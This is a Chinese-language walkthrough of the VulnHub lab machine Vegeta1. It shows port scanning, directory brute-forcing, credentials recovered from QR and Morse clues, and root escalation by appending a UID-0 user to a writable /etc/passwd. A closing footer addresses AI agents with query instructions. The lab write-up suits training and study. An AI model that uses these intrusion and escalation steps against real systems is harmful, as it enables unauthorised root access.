# Vegeta1 > 靶场IP：`192.168.32.24` 扫描对外端口服务 ``` ┌──(root㉿kali)-[/tmp] └─# nmap -sV -p1-65535 192.168.32.24 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-14 05:27 EDT Nmap scan report for 192.168.32.24 Host is up (0.00013s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian)) MAC Address: 08:00:27:8F:78:BF (Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.49 seconds ``` 访问80端口 ![image-20220914172852884](/files/8rtxk7izJ1ldr5I2f4eB) 爆破目录 ``` ┌──(root㉿kali)-[/tmp] └─# gobuster dir -u http://192.168.32.24 -w /usr/share/wordlists/rockyou.txt ``` 访问：`/robots.txt` ``` ┌──(root㉿kali)-[/tmp] └─# curl http://192.168.32.24/robots.txt * /find_me ``` 访问`/fine_me` ![image-20220914173032746](/files/4yaWcaEA6fRCHuEvuwjD) 查看页面源代码，发现 ``` ``` base64解密是一张二维码 ![image-20220914173635284](/files/dXzXEmHJ2tPCDVfaa7Hs) 扫二维码发现密码 ``` Password : topshellv ``` 访问：`/admin` ![image-20220914173154118](/files/5hHrgkWM772TbhNqGwqi) 访问：`/bulma`，有个音频文件。 ![image-20220914174240595](/files/McpxRg6Vt3V5ZNUDuyqd) 这个音频是莫斯密码加密 > 解密地址： ![image-20220914175329171](/files/4DhM9DT7mIl6dKJTssY0) 我们得到一个名为 `trunks` 的用户，密码为 `u$3r`，让我们试试之前找到的 SSH 端口： ![image-20220914174942436](/files/OTAMqI5zEuLQW1Kfb8ir) 最后我们找到了一种方法。我做的第一件事是在用户文件夹中查找线索，这里我们看到 `.bash_history`： ``` trunks@Vegeta:~$ ls -al total 28 drwxr-xr-x 3 trunks trunks 4096 Jun 28 2020 . drwxr-xr-x 3 root root 4096 Jun 28 2020 .. -rw------- 1 trunks trunks 382 Jun 28 2020 .bash_history -rw-r--r-- 1 trunks trunks 220 Jun 28 2020 .bash_logout -rw-r--r-- 1 trunks trunks 3526 Jun 28 2020 .bashrc drwxr-xr-x 3 trunks trunks 4096 Jun 28 2020 .local -rw-r--r-- 1 trunks trunks 807 Jun 28 2020 .profile trunks@Vegeta:~$ cat .bash_history perl -le ‘print crypt("Password@973″,"addedsalt")’ perl -le 'print crypt("Password@973","addedsalt")' echo "Tom:ad7t5uIalqMws:0:0:User_like_root:/root:/bin/bash" >> /etc/passwd[/sh] echo "Tom:ad7t5uIalqMws:0:0:User_like_root:/root:/bin/bash" >> /etc/passwd ls su Tom ls -la cat .bash_history sudo apt-get install vim apt-get install vim su root cat .bash_history exit ``` 我们看到一个密码被加盐，然后添加了一个名为 Tom 的新用户。奇怪的是，这是由用户完成的。让我们检查一下 passwd 文件的权限： ``` trunks@Vegeta:~$ ls -al /etc/passwd -rw-r--r-- 1 trunks root 1486 Jun 28 2020 /etc/passwd ``` 我们作为用户trunk有写权限，我们看一下passwd文件： ``` trunks@Vegeta:~$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:104:110::/nonexistent:/usr/sbin/nologin avahi-autoipd:x:105:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin sshd:x:106:65534::/run/sshd:/usr/sbin/nologin trunks:x:1000:1000:trunks,,,:/home/trunks:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin ``` 用户 Tom 不在 passwd 中，但我们可以使用历史文件中的行添加他： ``` trunks@Vegeta:~$ echo "Tom:ad7t5uIalqMws:0:0:User_like_root:/root:/bin/bash" >> /etc/passwd ``` 现在我们可以使用上面找到的密码 Password\@973 将用户切换到 Tom： ![image-20230208161000477](/files/OguSg3WjNuvqoCNjjuGc) --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://icybersec.gitbook.io/cybersecuritynote/ba-chang-huan-jing/vulnhub/vegeta1.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.